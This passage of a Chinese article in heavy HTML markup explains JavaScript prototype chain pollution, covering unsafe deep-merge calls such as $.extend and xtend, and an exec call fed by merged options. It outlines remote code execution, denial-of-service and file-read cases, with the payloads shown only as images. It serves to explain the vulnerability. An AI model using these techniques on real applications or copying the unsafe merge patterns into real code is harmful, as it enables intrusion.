rgb(254, 254, 254);font-size: 15px;">“原型对象”是核心概念。原型对象是新对象的模板，它将自身的属性共享给新对象。一个对象不但可以享有自己创建时和运行时定义的属性，而且可以享有原型对象的属性。</span></p></li><li><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">每一个对象都有自己的原型对象，所有对象构成一个树状的层级系统。</span><span style="font-size: 15px;">root节点的顶层对象是一个语言原生的对象，只有它没有原型对象，其他所有对象都直接或间接继承它的属性。</span></p></li></ol><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p><br/></p><section style="max-width: 100%;box-sizing: border-box;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">02</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span></p></section></section></section></section><p><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;">关于Function.prototype和Object.__proto__</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section style="max-width: 100%;box-sizing: border-box;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section class="" powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><ol class=" list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;letter-spacing: 0.544px;">对象有__proto__属性，函数有prototype属性；<br/></span></p></li><li><p><span style="letter-spacing: 0.544px;font-size: 15px;">对象由函数生成；</span></p></li><li><p><span style="letter-spacing: 0.544px;font-size: 15px;">生成对象时，对象的__proto__属性指向函数的prototype属性。</span></p></li></ol><p><br/></p><p><br/></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">在没有手动修改__proto__属性的指向时，以上三条便是JavaScript默认原型链指向逻辑。</span><span style="font-size: 15px;">如果要更形象的去理解这个就可以看下下图的这个结构</span></p><p><br/></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><br/></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-backh="415" data-backw="554" data-ratio="0.7488500459981601" data-s="300,640" style="width: 657px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;" data-type="png" data-w="1087" src="https://wechat2rss.xlab.app/img-proxy/?k=86ff125a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYhx2OWkuAzXw019vVSsBr0DKszCG4AVxVOFq5Wc0ahmuLGCrjGZNvX8vCax96ibQtfUPu8NIEJGMZzn1B6L1amg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">03</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 17px;">什么是JavaScript原型链污染</span><span style="max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="text-align: left;text-indent: 0em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;">原型链污染来自一个CVE(<a href="https://github.com/jquery/jquery/pull/4333)，这个CVE是一个在jquery中修复的漏洞，但是这个漏洞广义的推广的话，受影响的范围应该是一切使用了ecmascript的应用，无论前后端。" target="_blank">https://github.com/jquery/jquery/pull/4333)，这个CVE是一个在jquery中修复的漏洞，但是这个漏洞广义的推广的话，受影响的范围应该是一切使用了ecmascript的应用，无论前后端。</a></span><span style="font-size: 15px;">关于这个漏洞，是修复了jQuery的$.extend(true…)方法，在jQuery中，这个方法用于将一个或多个对象的内容合并到目标对象。</span><span style="font-size: 15px;">所以你永远不知道有不有人会不会写出一些类似以下的代码</span><span style="font-size: 14px;font-family: 宋体;"></span></section><section style="letter-spacing: 0px;"><span style="font-size: 14px;"></span><br/></section><table cellspacing="0" cellpadding="0" width="657" style="width: 654px;"><tbody style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><tr style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td width="696" valign="top" style="padding: 0px 7px;word-break: break-all;border-color: windowtext;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p style="margin-bottom: 11px;max-width: 100%;min-height: 1em;line-height: 17.12px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">for(  var i = 0 ;i &lt; datas.length; i++ ) {<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/>     $.extend( true, allNode, datas[i] )<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/> }</span></p></td></tr></tbody></table><p style="max-width: 100%;min-height: 1em;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">当我们可控$.extend的参数的时候，我们就可以覆盖对象的__proto__或者prototype方法从而控制整个原型链的最顶端的方法，重写该方法将覆盖子对象或者函数的方法，从而导致污染原本的方法意图。</span></p></section><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">在npmjs官方搜下对象操作的库可以看到一大堆，例如“xtend”、 “deepmerge”、 “webpack-merge”、 “merge2”、 “lodash.merge”。</span><span style="font-size: 15px;">假如一些应用使用了这些方法，但是对参数没做任何处理。</span></p><p><br/></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span style="font-size: 14px;"></span><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">04</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span><br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section></section></section></section><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞范围影响</span><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;min-height: 1em;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">提出这个Javascript原型链污染攻击的作者写了一个pdf，在该pdf中，作者不仅做了漏洞的成因分析，还针对此漏洞做了受害范围分析，他在github上搜索了部分的组件，这些组件都是可以操作对象，一般都是对象合并操作的，较为底层，因此也会有大量的应用基于这些组件。</span><span style="font-size: 15px;">例如“hoek”，“lodash”，“defaults-deep”等修复了这个原型链污染的可能性，当然还有一些组件他没统计到，例如“xtend”之类的，光weekly download的数量就有“12,097,425”。</span></p></section><section style="max-width: 100%;min-height: 1em;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">笔者在npm上搜索了基于xtend的一些应用，找到一个language-exec这样的一个组件。</span><span style="font-size: 15px;">这个组件是一个基于xtend的，不过这个组件好像年久失修而且没啥人用，看了源代码其中就有这样的一句话</span></p><span style="font-size: 15px;"><span style="font-size: 15px;max-width: 100%;line-height: 17.12px;font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="font-size: 15px;max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></span></section><section style="max-width: 100%;min-height: 1em;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></section><table cellspacing="0" cellpadding="0" width="657" style="width: 654px;"><tbody style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><tr style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td width="696" valign="top" style="padding: 0px 7px;word-break: break-all;border-color: windowtext;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p style="margin-right: 48px;margin-bottom: 0.1px;max-width: 100%;min-height: 1em;line-height: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;">return exec(cmd, extend({</span></p><p style="margin-right: 48px;margin-bottom: 0.1px;max-width: 100%;min-height: 1em;line-height: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;">    cwd:  path.dirname(file)</span></p><p style="margin-right: 48px;margin-bottom: 0.1px;max-width: 100%;min-height: 1em;line-height: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;">  }, opts), done);</span></p></td></tr></tbody></table><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">可以看到类似的写法都是存在问题的(主要是我没找到具体的基于xtend的受影响应用)。</span></p></section><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">所以基于这个，大家不是有了刷CVE的思路了？</span><span style="font-size: 15px;">没错…只要你敢花时间去爬全部的dependence就可以有机会获得javascript pollutionattack CVE。</span></p><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><p><br/></p><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">05</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span><br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;">案例一远程命令执行</span><span style="font-size: 20px;max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">作者在github上搜到了一款叫做ghost cms的应用，当然这个漏洞已经修复，当黑客发送以下请求即可实现控制任意方法或者对象的任意属性。当然也就是rce了</span><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.6031553398058253" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="824" src="https://wechat2rss.xlab.app/img-proxy/?k=e84883c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYhx2OWkuAzXw019vVSsBr0DKszCG4AVxw5rpd0Ct0apWqesGedGXmsydSeNdiahLwWMmaTQAG7ELsTnoibgrDY6A%2F640%3Fwx_fmt%3Dpng"/></p><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">06</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span><br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;line-height: 21.4px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="max-width: 100%;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 21.4px;font-family: 微软雅黑, sans-serif;">案例二</span><span style="max-width: 100%;line-height: 21.4px;font-family: Arial, sans-serif;"> DOS</span></span><span style="font-size: 20px;max-width: 100%;line-height: 21.4px;font-family: Arial, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">在一切皆对象的JavaScript中，所有对象都可以调用toString和valueOf方法，当你通过__proto__重写这2个方法的时候，就容易在express等web框架中产生dos，导致服务无法正常运行。类似以下的写法就容易产生拒绝服务</span><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></section><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-backh="527" data-backw="574" data-ratio="0.9188829787234043" data-s="300,640" style="width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;" data-type="png" data-w="752" src="https://wechat2rss.xlab.app/img-proxy/?k=5c0869d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYhx2OWkuAzXw019vVSsBr0DKszCG4AVxSqAZ2cd8OauVkPMD5oSw8tiafOMPPDZgq6LgwwaUicw4qNbsb1dAvNoQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="" style="padding-right: 10px;padding-left: 10px;max-width: 100%;box-sizing: border-box;line-height: 1.6;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">07</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 0px;color: rgb(26, 173, 25);font-size: 20px;overflow-wrap: break-word !important;">—</span><br style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></p></section></section></section></section><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;line-height: 21.4px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="max-width: 100%;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;">案例三</span> <span style="max-width: 100%;font-family: 微软雅黑, sans-serif;">任意文件读取</span></span><span style="font-size: 20px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/><span style="max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="letter-spacing: 0.544px;line-height: 1.75em;text-indent: 28px;widows: 1;background-color: rgb(254, 254, 254);font-size: 14px;color: rgb(63, 63, 63);font-family: 宋体, SimSun;display: inline !important;"><span style="font-size: 15px;">如果你可以通过污染原型链来重写一些“私有属性”的话(Javascript没有私有属性)，可能可以重写那些在WEB中用来定义渲染模板文件的属性值，就有可能产生任意文件读取了，如以下这个图片</span></p><p><br/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.4645308924485126" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=9e56552c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYhx2OWkuAzXw019vVSsBr0DKszCG4AVxfnPZWjlmjGvqAUia0yibDneQCQLjcicoMRMss1aMwVDsuXnhGx16DPUNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 17.12px;font-family: 宋体;color: windowtext;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section class="" style="padding-right: 20px;padding-left: 20px;max-width: 100%;box-sizing: border-box;line-height: 0.8;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 17px;overflow-wrap: break-word !important;">08</span><span style="max-width: 100%;box-sizing: border-box;color: rgb(26, 173, 25);font-size: 24px;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;box-sizing: border-box;min-height: 1em;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;box-sizing: border-box;letter-spacing: 